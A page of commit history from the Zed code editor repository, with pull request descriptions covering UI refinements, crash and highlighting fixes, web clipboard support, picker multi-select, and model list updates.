# Objective When xkbcommon compiled with either wayland or x11 only, the current manifests will prevent it from compiling, despite gpui is already wayland/x11 seperated. close #60943 ## Solution Simple changes to manifests. ## Testing ``` cargo tree -p gpui_platform --no-default-features --features {wayland,x11} -e features -i xkbcommon ``` ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [ ] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [ ] Performance impact has been considered and is acceptable Release Notes: - N/A Co-authored-by: Kirill Bulatov <kirill@zed.dev> |
||
|
|
62a1a8890f |
Distinguish parameters from normal variables in semantic token highlighting (#60949)
# Objective Closes #60928 Currently, only the declaration of parameters in a function header is highlighted as `variable.parameter`. Inside the function body, parameters are highlighted as normal variables, making them indistinguishable from local variables. This PR ensures consistent highlighting for parameters throughout their entire scope, helping developers distinguish between function inputs and locally defined variables. ## Solution - Updated the `default_semantic_token_rules.json`: when the token type is `parameter`, no matter what token modifiers are, it is now mapped to `variable.parameter` highlight style. ## Testing Tested locally with Rust. The improvement in visual hierarchy is demonstrated in the comparison below. ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [ ] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable ## Showcase | Before | After | | :---: | :---: | | <img width="1178" height="400" alt="before" src="https://github.com/user-attachments/assets/90a01543-2dcc-41e0-a2a3-f8020c6d77ee" /> | <img width="1194" height="387" alt="after" src="https://github.com/user-attachments/assets/c81ba273-2ea7-4d38-b7df-a6069c09c28a" />| --- Release Notes: - Improved semantic token highlighting to distinguish function parameters from local variables. |
||
|
|
c761cc30c8 |
collab: Use new fuzzy search endpoint (#60910)
Updates Collab to use the new `/internal/channel_members/fuzzy_search` endpoint that searches users by username (instead of GitHub login). Request and response shapes are the same. Release Notes: - N/A |
||
|
|
faa7c4f534 |
branch_picker: Add design improvements (#60925)
This PR adds a series of design improvements to the branch picker, including: - Consistent icon used for filter actions - A keybinding/action to trigger the filter menu with the keyboard - Filter menu positioning depending on the picker's editor position - Error display that displays the full label without truncation/tooltip, and is placed accordingly also depending on the picker's editor position - List subheader in the search list depending on filtered option Here's a quick video: https://github.com/user-attachments/assets/70922daf-fc9f-4d94-bed8-c84d3ea73534 - - - Release Notes: - N/A |
||
|
|
58f2b47005 |
gpui: Fix crash when opening a popover from inside another popover (#60926)
Opening a popover from inside another popover (e.g. the branch picker's new filter menu, when the picker is hosted in the git panel or title bar) corrupted the frame-caching bookkeeping for whichever cached view contained them. The corruption was invisible until a later, unrelated redraw reused that view's cached subtree, at which point the window crashed (debug) or could misroute input events (release). Fixed by processing deferred draws in place so their recorded positions remain valid across frames; added a regression test reproducing the crash via a cached panel hosting nested popovers. Release Notes: - Fixed the branch picker menu in the Git Panel, which was previously broken due to popovers-within-popovers not being possible in GPUI. |
||
|
|
bf1c21cbf7 |
Add more context (#60913)
Started an old Zed version with old db entry which resulted in 0 agent panel working, only showing me there and in logs "project path not found". Fixed by removing the corresponding `db` subdirectory, but decided to make the log entries a bit more useful. Release Notes: - N/A |
||
|
|
1a06fd4f2b |
Add a bunch of stray design refinement throughout (#60937)
This PR is a collection of grab bag UI design refinements across the entire app. Most of them are minor icon fixes/standardizations, spacing, and sizing tweaks. The one change that ended up getting a bit bigger than I initially anticipated is the debugger panel tabs improvements; added a bunch of tweaks there to make it look slicker. A relevant change is a small one-line change to the GPUI div element where it wouldn't add drag-over styles to elements that aren't initially a hitbox target. Given I wanted to pull off the drop indicator you see on the video below, this turned out to be needed: https://github.com/user-attachments/assets/964b456a-eef0-42bb-a433-7dac54ab8ec8 --- Release Notes: - N/A |
||
|
|
9afffc9394 |
thread_view: Add a component for the terminal's tool call header (#60931)
This PR introduces a component for the terminal tool call's header. It was growing already pretty big in the terminal tool call render function in the thread view and hard to visualize in all of its use cases. I got motivated to do this because I wanted to make the UI for the case when it runs outside of the sandbox simpler, but it wasn't easy to make that show up in a true agent thread, and with it being a component, I can just use the component preview. Here's a quick screenshot of it, it shouldn't look too different, just a bit more polished: <img width="600" alt="Screenshot 2026-07-13 at 6 43@2x" src="https://github.com/user-attachments/assets/fb222e50-2003-4cf7-9039-7b211db3c86e" /> Release Notes: - N/A |
||
|
|
0aee09eb0d |
language_model: Fix compilation on wasm (#60955)
Release Notes: - N/A or Added/Fixed/Improved ... |
||
|
|
501975d322 |
Recognize deno.lock as JSON (#60679)
Reasons: Deno officially states that the deno.lock file is of JSON type. https://github.com/denoland/vscode_deno/blob/main/schemas/lockfile.schema.json Release Notes: - Added JSON language support for `deno.lock` files. |
||
|
|
b220d078bf |
Show tag names in git blame tooltips (#60757)
Fetch tag names for commits included in blame data and pass them through the blame rendering path. Render tag names as chips in the blame hover tooltip and expanded blame popover. Tag lookup is best-effort, so blame still renders if tag lookup fails. > Note: Tag names are currently only fetched for local repositories. For remote projects (SSH) and collab sessions, blame data travels over the `BlameBufferResponse` proto message, which doesn't carry tag names yet. ## Testing - `cargo test -p git test_parse_tag_names_for_lightweight_and_annotated_tags` - `cargo check -p git_ui` - `cargo check -p editor` - `cargo check -p project` Manual testing: - Opened `git: blame` on a file with a tagged commit. - Verified tag chips are shown in the blame hover tooltip and expanded popover. ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon] (https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable ## Showcase Before: <img width="1655" height="660" alt="before" src="https://github.com/user-attachments/assets/dbefd729-f8df-48a9-8249-83c93518fe76" /> After: <img width="1655" height="660" alt="after" src="https://github.com/user-attachments/assets/2c1097de-b268-45d9-9d13-0f3e06058603" /> --- Release Notes: - Git: Made tags visible in Git blame tooltips. --------- Co-authored-by: Danilo Leal <daniloleal09@gmail.com> |
||
|
|
b1b7041cbf |
Fix CloseProject not switching to neighbor in multi-project workspace (#60524)
Fixes #54772 When "Workspace: close project" was used in a multi-project window, the handler pre-created an empty "get started" workspace and activated it before removing the old project group. This prevented `remove_project_group` from detecting that the active workspace was being removed, so the neighbor-fallback never ran — leaving the user on the empty workspace even though other projects were still open. The fix delegates entirely to `remove_project_group`, which already handles: - Computing a neighboring project group - Prompting for unsaved changes via `prepare_to_close` - Activating the neighbor (or creating an empty workspace if none remains) This matches the behavior of the sidebar "Remove Project" action, which uses the same `remove_project_group` path. Release Notes: - Fixed "Workspace: close project" action not switching to another project in multi-project workspace --------- Co-authored-by: Eric Holk <eric@zed.dev> |
||
|
|
f7e2380479 |
project: Report formatter failures in the status bar again (#60839)
set a formatter that fails (`"formatter": {"external": {"command":
"false"}}`), save, and you get nothing. it just goes to the log, the
"Formatting failed" indicator never shows.
#51605 made the formatter loop log-and-continue instead of bailing (so
unrelated edits don't get reverted, #51490). downside was the pipeline
always returned Ok after that, so the failure flag the indicator reads
always got wiped. this brings back failures from formatters you actually
configured. auto ones stay quiet when they're not around, so no prettier
installed = still a no-op.
only explicit failures show up, bit narrower than before #51605. can
widen it to auto ones too if you want, one line.
Fixes #59988.
Release Notes:
- Fixed formatter failures not showing the "Formatting failed" status
bar indicator
---------
Co-authored-by: Kirill Bulatov <kirill@zed.dev>
|
||
|
|
bc9fe81c1c |
editor: Fix incorrect inlay hint selection behavior (#60912)
# Objective Fixes #48141 The issue is that there are certain situations where an Inlay hint, specifically hints that appear to the left of whatever item they are referring to, e.g. function argument hints, will be selected incorrectly. https://github.com/user-attachments/assets/b6d60bad-6999-481b-a1c7-420d3ee113f8 As you can see in the video, in both a modal and non-modal editor, as soon as you include `(` (or the empty space between the first and second argument) the hint gets highlighted as well. ## Solution It is really important to note here that there is no issue with the actual selection semantics, inlay hints don't get truly selected in the sense that they don't count as buffer text and if you e.g. copy a selection with a hint in it it doesn't get copied. A second thing to note is that a fix that looks good for modal editing might not look good for regular editing, thats largely what sank the previous attempt to fix this issue (#51219). This video is from #51219, but earlier versions of my fix suffered from the exact same issue. https://github.com/user-attachments/assets/16452530-1918-47da-9fd4-87c285284959 The cursor behavior for an active selection in a non-modal editor and when there isn't a selection are different, and right now the behavior is wired for the non-selection case, the solution to this is to separate how things display with a selection from the other behavior. !I do not change the non-selection behavior in any way! Inlay hints at the boundary of a selection should be excluded, but hints inside of a selection should be part of the contiguous selection. We can reuse the `DisplayPointConverter` to do this. My original solution was to use `isomorphic_display_point_ranges_for_buffer_range`, which maps a buffer offset range into a `DisplayPoint` range that excludes Inlays, except it actually maps to potentially several ranges, all the buffer text *in between* inlay hints. By just taking the start of the first sub-range, and the end of the last, we get the correct range that we are looking for. The function I added, `contiguous_display_point_range_for_buffer_range` basically just does exactly that, and cut out all the extra work of creating a bunch of intermediate ranges if it was a large selection with lots of inlays. Then we can set the cursor head based on this range, this gives the correct behavior for non-vim mode cursors, the vim mode cursor is handled by other code after we set that anyway, so vim mode behavior is unchanged. These code changes are in `SelectionLayout::new` ```rust let buffer_snapshot = map.buffer_snapshot(); let point_selection = selection.map(|p| p.to_point(buffer_snapshot)); let display_selection = point_selection.map(|p| p.to_display_point(map)); let mut range = display_selection.range(); let mut head = display_selection.head(); if !line_mode { let offset_range = point_selection.start.to_offset(buffer_snapshot) ..point_selection.end.to_offset(buffer_snapshot); if let Some(contiguous_range) = map.contiguous_display_point_range_for_buffer_range(offset_range) { range = contiguous_range; // Keep the cursor attached to the highlight boundary; the // anchor-bias display position may sit on the far side of a // boundary inlay the highlight excludes. head = if selection.reversed { range.start } else { range.end }; } } ``` Heres the new behavior: https://github.com/user-attachments/assets/cbbd53d6-bbea-4c50-91b5-23eaccd5d9d7 ## Testing added `test_selection_layout_around_inlay`, that fails on main currently and passes with my changes. As far as manual testing the setup is pretty easy, this is generally pretty language agnostic and can be tested anywhere with function parameter hints. ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable --- Release Notes: - editor: Fixed rendering issues with selections over inlay hints. |
||
|
|
7fb4a07897 |
gpui_web: Only prevent default for keyboard events the app handled (#60889)
# Objective The web platform called `event.preventDefault()` unconditionally before dispatching every keydown and keyup, destroying all browser defaults (reload, zoom, tab search, find, address bar) whether or not the app used the key. The dispatch result already carries the answer: `!propagate` means a keybinding matched or a handler consumed the keystroke in the current focus context. ## Solution Prevent the default only when the app consumed the keystroke, when the printable character was inserted into the input handler, or mid-IME composition. Unbound chords now fall through to the browser, and the behavior is focus-aware: a chord bound in an editor is consumed there but keeps its browser default when nothing that binds it is focused. ## Testing Tested locally. ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Release Notes: - N/A |
||
|
|
ae6cb0aff1 |
picker: Improve multi-select discoverability and rendering (#60919)
This PR reworks how multi-select mode is rendered in pickers (only used by the file finder and text finder). The "Multi Select" entry previously lived inside the footer's Actions menu, which was hard to discover and its toggle checkmark misaligned the menu's keybinding column. This PR changes to an icon button at the far-roght edge of the search editor, with a tooltip showing the keybinding to toggle it. Also made each list item use the actual Checkbox component instead of a bespoke re-implementation of it. And in doing so, added a few design improvements to the list item so that it received the checkbox while preserving proper styles for each interaction state, as well as displaying the keybinding to select the item or check the item. Here's a quick video, showing these changes off: https://github.com/user-attachments/assets/e142f7d1-87ba-4258-844b-953ed06237bd Release Notes: - Improved multi-select in the file finder and text finder: the toggle now lives in the search bar with a `cmd-shift-s` keybinding, and selection checkboxes render inside list items. |
||
|
|
ef94f98dbb |
docs: Update community Debian mirror domain to deb.griffo.io (#60909)
The community-maintained Debian repository linked in the Linux install docs moved from `debian.griffo.io` to `deb.griffo.io` to comply with the [Debian trademark policy](https://www.debian.org/trademark) (Debian trademarks may not be used in domain names). Same repository, packages, and signing key; the old domain serves permanent redirects, so existing links keep working — this just points the docs at the canonical URL. I maintain the repository in question. Release Notes: - N/A |
||
|
|
588575e29e |
Fix CLI split diff lhs not getting a language registered (#60914)
Closes https://github.com/zed-industries/zed/issues/60751 Release Notes: - Fixed split file diff missing syntax highlighting |
||
|
|
1a38433dee |
settings_ui: Open ACP docs from Settings UI correctly (#60881)
## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [ ] Unsafe blocks (if any) have justifying comments - [ ] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [ ] Tests cover the new/changed behavior - [ ] Performance impact has been considered and is acceptable Closes #60822. --- Release Notes: - Fixed broken handler for opening ACP documentation from the Settings UI |
||
|
|
ab43548338 |
a11y: Landmarks and menu improvements (#60397)
Fixes menu a11y, and adds landmarks with `F6`-navigation. Also fixes a GPUI bug, and adds debug actions for dumping a11y tree info. Since `F6` was already in use by the pause debugger keybind, also tightens up the debugger keybind context so they require an active debugger session. When there is one active, `F6` stays as pause debugger. `ctrl-F6` always works to go to the next landmark. Also adds an "accessible mode" setting. Currently, this only controls whether we show all menus all the time, but I suspect it will expand significantly in the future. Also adds `.aria_keyshortcuts()` API, but it's not wired up within accesskit adapters, so is not yet reported to screen readers. --- Release Notes: - N/A or Added/Fixed/Improved ... |
||
|
|
b340949cb6 |
git_ui: Fix remote branches missing from branch diff base picker (#60765)
The branch picker collapses remote branches that are tracked by a local branch (e.g. `origin/main` when local `main` tracks it). That makes sense for checkout, where the remote ref is redundant, but it was also applied to the branch diff base picker, where `main` and `origin/main` can point to different commits. As a result, once you switched the diff base from `origin/main` to `main`, there was no way to switch back. The tracked-remote collapsing is now only applied in checkout mode (no changed here). The select (diff base) picker lists both local branches and their remote upstreams. Release Notes: - Fixed remote branches (e.g. `origin/main`) not appearing in the branch diff base picker, making it impossible to switch back after changing the base to another branch. |
||
|
|
42d5c64723 |
gpui_macos: Replace per-window CVDisplayLinks with a per-display registry (#60696)
Fixes ZED-7XR CVDisplayLink has no safe teardown: `CVDisplayLinkStop` only flags the io thread to exit "soon" and returns, `CVDisplayLinkRelease` frees the link immediately, and there is no way to learn when a final output callback has finished. This produced two distinct use-after-free crash classes on the display-link thread: the io thread reading the freed link's internals (`CVHWTime::reset`, worked around by leaking the link in #32116), and a straggler output callback dereferencing the freed dispatch source through its context pointer (`dispatch_source_merge_data`, ZED-7XR). Because we tore down a `DisplayLink` on every resize tick, window activation, and occlusion change, the existing workaround also leaked a stopped CVDisplayLink per teardown, unboundedly. This replaces per-window links with a static registry holding one immortal `CVDisplayLink` per display. Windows subscribe to their display's link with the dispatch source that paces their frames; the output callback's context is a display id rather than a pointer, so the only memory it ever dereferences is the registry itself, under its lock. Links start and stop at subscriber-count edges (so multiple windows on one display can't interleave starts/stops incorrectly), and a window's dispatch source lives for the life of the window, is removed from the registry on close, and is then genuinely released. Both crash classes become unreachable — the link because it is never released, the source because a straggler callback either finds it live in the registry or doesn't find it at all — and there are no leaks and no `mem::forget`. Since we never hold the registry lock across CoreVideo calls, no lock cycle through CVDisplayLink's undocumented internal locks is possible; the module doc comment spells out the invariants. This supersedes #60481, which fixed ZED-7XR by leaking the dispatch source on teardown. Release Notes: - Fixed a rare crash on macOS when closing, resizing, or switching between windows, and eliminated a memory leak in display-link teardown |
||
|
|
d71fd19764 |
gpui_web: Implement clipboard write and paste (#60890)
# Objective write_to_clipboard was a no-op and read_from_clipboard returned None. ## Solution Writes go through the browser's asynchronous Clipboard API, fire-and-forget, invoked synchronously inside the user's input event so the user-activation requirement holds. Reads cannot be implemented the same way: the async clipboard read API cannot fit read_from_clipboard's synchronous signature. Paste is instead delivered by a DOM paste listener on the hidden input, whose ClipboardEvent exposes clipboardData synchronously; the text feeds the active input handler. This covers keyboard-, menu-bar- and context-menu-initiated paste. Note the keyboard path requires the paste chord's keydown to reach the browser unconsumed (apps should not bind cmd/ctrl-v on web). ## Testing Tested locally ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Release Notes: - N/A |
||
|
|
8a174b567e |
agent: Show MCP tool primary argument in tool-call header (#54604)
## Problem Built-in tools like `Fetch` render their primary argument next to the tool name in the collapsed tool-call header (e.g. `Fetch https://example.com`). MCP tools don't — they always show `Run MCP tool <name>` and the argument is hidden inside the expandable "Raw Input" JSON block. For Playwright, fetch, search, or any MCP tool where one argument carries all the context, this makes every call opaque. You have to click to expand just to see which URL is being opened or which file is being read. Before: ``` ⊙ mcp__playwright__open_url_in_browser [click to expand] Raw Input: { "url": "https://linkedin.com/in/neuodev" } ``` After: ``` ⊙ Run MCP tool `mcp__playwright__open_url_in_browser` https://linkedin.com/in/neuodev ``` ## Root cause `ContextServerTool::initial_title` at `crates/agent/src/tools/context_server_registry.rs` discards the input: ```rust fn initial_title(&self, _input: serde_json::Value, _cx: &mut App) -> SharedString { format!("Run MCP tool `{}`", self.tool.name).into() } ``` Built-in tools read the input (`fetch_tool.rs`: `format!("Fetch {}", MarkdownEscaped(&input.url))`) but the generic MCP path never did. ## Change When the MCP tool's input is a JSON object with exactly one string-valued field, inline that value next to the tool name. All other shapes (multi-field objects, non-string values, null/empty input) fall back to the existing `Run MCP tool <name>` label, so behavior is unchanged for them. - Value is truncated at 120 chars with `…` on overflow (char-safe, not byte-safe — "café" won't panic). - Value is run through `MarkdownEscaped` so markdown metacharacters render literally. - Single-string heuristic was chosen because the MCP spec has no standard field for a display template, and the common case (`url`, `path`, `query`, `selector`, `name`) is covered. I considered honoring `Tool.annotations.title` or `_meta["zed/title"]` as a template — happy to follow up with that if the team prefers an opt-in mechanism, but wanted to start with something that works out of the box for every existing MCP server. ## Tests Added 10 unit tests in the existing `mod tests` block covering: happy path, no args, null input, multi-field fallback, non-string fallback, truncation, markdown escaping, multibyte chars, and empty-string preservation. `cargo check -p agent --tests` passes locally. I couldn't run the full test binary on my machine because `wasmtime-c-api-impl` (a transitive test-dep) needs `cmake`, but the new code is pure string-manipulation with no wasm/runtime touch — CI should cover. ## Scope One file, +127/-3. No behavior change for any tool shape other than single-string-input MCP tools. ## Per CONTRIBUTING.md Happy to convert to a discussion first if the team prefers — didn't see a tracking issue for this. Also filed under CLA (signed). Release Notes: - Show MCP tool primary argument in tool header if space allows --------- Co-authored-by: Chris Biscardi <chris@christopherbiscardi.com> |
||
|
|
44dac13934 |
Revert "settings_ui: Shrink constraint on minimum window width (#60786)" (#60903)
Allowing the settings UI to shrink smaller than that size can easily cause UI states where the whole window becomes unusable. The previously defined 900px size was defined so that those states did not happen. I appreciate how having such minimum size can be a bit of a hassle when the settings window is used with window managers, but given it's such a transient window (i.e., one which you won't always have open all the time) I think it's better to stay on the trade-off side of safety here. As a quick example, it doesn't make sense to me to allow the UI to reach this state: <img width="300" alt="Screenshot 2026-07-13 at 9 26@2x" src="https://github.com/user-attachments/assets/f2aebe21-293b-468f-b03e-37cd7305a9c5" /> --- Release Notes: - N/A |
||
|
|
088aeb5f47 |
Drop the unused avif feature from the image dependency (#60897)
# Objective Every build of zed (and of every downstream gpui consumer) currently compiles rav1e, a full AV1 video encoder, because `image`'s default `avif` feature is enabled. That feature only provides `AvifEncoder`; AVIF *decoding* requires the separate, non-default `avif-native` feature (dav1d). So AVIF files do not decode anywhere in zed today, nothing encodes AVIF (`AvifEncoder` has zero references in the repo), and rav1e plus its support crates are dead weight in every clean build. ## Solution Pin the workspace `image` dependency to its default feature set minus `avif`. No behavior changes: AVIF files fail to decode exactly as before, and `ImageFormat::Avif` still exists (the enum is not feature-gated), so the `image_viewer` match arm compiles unchanged. The `"avif"` entry in gpui's supported-extension list is deliberately left untouched to keep the diff minimal; loading such files fails identically before and after. ## Testing - `cargo metadata` node diff (before vs after, all 1832 resolved packages): the only change in the entire graph is `image` losing `avif`/`default`/`default-formats`. - `cargo tree -i rav1e` on the Linux host, plus `--target aarch64-apple-darwin` and `--target x86_64-pc-windows-msvc`: no reverse dependencies on any platform. - `rg -i avif crates/` finds only string labels (an extension list in `gpui`, a format name in `image_viewer`, an icon mapping in `theme`); `AvifEncoder` is never referenced. - `cargo check -p gpui` passes. - Isolated probe crate depending on image 0.25.10 alone (cold builds, Linux, 16 threads), default vs default-minus-avif: release drops from 191 to 122 CPU-seconds and 282 to 191 MB of `target/`; debug drops from 75 to 42 CPU-seconds and 549 to 342 MB. ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments (n/a: manifest-only change) - [x] The content adheres to Zed's UI standards (n/a: no UI change) - [x] Tests cover the new/changed behavior (no behavior change; CI covers compilation) - [x] Performance impact has been considered and is acceptable (build-time improvement only) --- Release Notes: - N/A |
||
|
|
304f264e76 |
pickers: Add multi-select support (#59931)
Users can now Cmd+click multiple files in the file picker and press Enter to open them all at once. Tab can also be used to select items without clicking, advancing the cursor automatically. # Objective Currently, when opening the file picker (Cmd+P), users can only open one file at a time. This adds multi-select support so users can select multiple files and open them all at once. Fixes #59818 ## Solution Added a `selected_indices` set to `Picker` to track which items the user has toggled into a multi-selection. Regular clicks still open a file immediately (unchanged behavior). Cmd+clicking adds a file to the selection without opening it, and pressing Enter opens all selected files at once. A `confirm_multi` method was added to the delegate trait so individual delegates (like the file finder) can handle opening multiple files with a safe fallback for delegates that don't support it. Multi-selection is cleared when the picker is dismissed or the search query changes. Selected items show a background highlight and a focused left border so the user always knows what's selected. ## How to use it 1. Open the file or test picker. 2. Search and either Cmd+click or tab it to add it to the selection (the file will not open yet). 3. Repeat for any other files you want to open. 4. To deselect a file, Cmd+click it again. 5. Alternatively, hover over an item and press Tab to select it with the keyboard, the cursor automatically moves to the next item so you can keep selecting quickly. 6. Once you have all the files you want, press Enter to open them all at once. ## Testing Tested manually on macOS. - **Single select:** Clicking on a file opens it directly, which is the existing behavior and remains unchanged. - **Multi-select via Cmd+Click:** Holding Cmd and clicking multiple items adds them to the selection. Cmd+clicking an already-selected item deselects it. Pressing Enter opens all selected files at once. - **Multi-select via Tab:** Hovering over an item and pressing Tab selects it without clicking or opening it, allowing keyboard-driven multi-selection. ## Showcase **Single select:** <img width="1512" height="982" alt="Screenshot 2026-06-25 at 6 45 33 PM" src="https://github.com/user-attachments/assets/8f9d4408-0688-4619-807a-affd6dc66f21" /> Opened single file <img width="1512" height="982" alt="Screenshot 2026-06-25 at 6 45 38 PM" src="https://github.com/user-attachments/assets/34ffacfd-b8ed-4898-beaa-bd5e47ebf682" /> - **Multi-select:** - Selecting multiple files <img width="1512" height="982" alt="Screenshot 2026-06-25 at 6 49 22 PM" src="https://github.com/user-attachments/assets/a7562fe8-9bd2-40ba-8bb4-12909ccefed7" /> Opened multiple files <img width="1512" height="982" alt="Screenshot 2026-06-25 at 6 49 42 PM" src="https://github.com/user-attachments/assets/c0c9e24c-86b7-45bf-898d-05068d5d7e3a" /> ## Release Notes: - Added multi-select to the file and text picker: Cmd+click or tab to select multiple files, then open them all at once. --------- Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com> Co-authored-by: Yara <git@yara.blue> |
||
|
|
f4bf1511a6 |
fs: Update trash crate version (#60899)
# Objective Fix errors in Windows when trashing files from the Git Panel. Closes #60716. ## Solution The solution and discussion is available at https://github.com/zed-industries/trash-rs/pull/3 , seeing as the fix was fully done on the `trash` crate. Original discussion of this issue can be found at https://github.com/zed-industries/zed/pull/59595 . ## Testing Testing was performed manually on a Windows machine by updating Zed's `fs` crate dependencies to point at the updated code and then building from source and testing out the same exact path, namely: 1. Create a new untracked file 2. Trash the file from the Git Panel's context menu 3. Confirm that, after confirming that you wish to trash the file, the file is trash and no error is shown Since this whole trash-tracking logic was implemented in the context of the project panel's undo system, I also confirmed that the changes in the crate's code didn't affect trashing and restoring on Windows. ## Self-Review Checklist: N/A ## Showcase <details> <summary>Before</summary> https://github.com/user-attachments/assets/120ab3ec-d631-4243-a21e-c510c27ed518 </details> <details> <summary>After</summary> https://github.com/user-attachments/assets/7ff1e373-b56d-431f-aad5-d4c5bb301e02 </details> --- Release Notes: - Fixed issue when trashing untracked files in Git Panel on Windows |
||
|
|
9b28a1b3dd |
opencode: Model updates (GPT 5.6 + Grok 4.5) (#60852)
# Objective Adding newly-released OpenCode models. ## Solution **OpenCode Go**: - no changes **OpenCode Zen**: - added GPT 5.6 Luna, GPT 5.6 Terra, GPT 5.6 Sol using raw data from Models.dev repo (https://github.com/anomalyco/models.dev/tree/66dcd837fe3d7ad7e614e0a57065c5545c3c7a75/providers/opencode/models and https://github.com/anomalyco/models.dev/tree/66dcd837fe3d7ad7e614e0a57065c5545c3c7a75/models/openai) - added Grok 4.5 using raw data from Models.dev repo (https://github.com/anomalyco/models.dev/blob/66dcd837fe3d7ad7e614e0a57065c5545c3c7a75/providers/opencode/models/grok-4.5.toml and https://github.com/anomalyco/models.dev/blob/66dcd837fe3d7ad7e614e0a57065c5545c3c7a75/models/xai/grok-4.5.toml) **OpenCode Free**: - as per https://github.com/zed-industries/zed/issues/56869#issuecomment-4466637648, no changes as it's unclear what models are long-term free models ## Testing **Not tested at all**, since I don't have an OpenCode Zen subscription (since I am in the EU, I think I am also blocked from using Grok?). ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [ ] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable ## Showcase N/A --- Release Notes: - Agent: OpenCode Zen model updates (added GPT 5.6 Luna, GPT 5.6 Terra, GPT 5.6 Sol, and Grok 4.5) |
||
|
|
cd27816573 |
agent: Treat context window overflows as prompt-too-large errors (#60525)
Map OpenAI's context_length_exceeded errors (both the in-stream error events sent by the Responses API / ChatGPT Codex backend and HTTP 400 responses carrying the code) to LanguageModelCompletionError::PromptTooLarge. This stops pointless retries and surfaces the dedicated token-limit UI instead of a raw error string. Also record a synthetic request token usage when a completion fails with PromptTooLarge, so the context indicator reports Exceeded rather than the stale usage of the last successful request, and the next prompt qualifies for auto-compaction. Ought to help a bit with https://github.com/zed-industries/zed/issues/59600 Release Notes: - N/A or Added/Fixed/Improved ... --------- Co-authored-by: Claude Fable 5 <noreply@anthropic.com> Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com> |
||
|
|
a932df5550 |
gpui: Implement window attention (#58779)
Release Notes: - On agent notifications, the corresponding zed window will now mark itself for OS level attention --------- Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com> |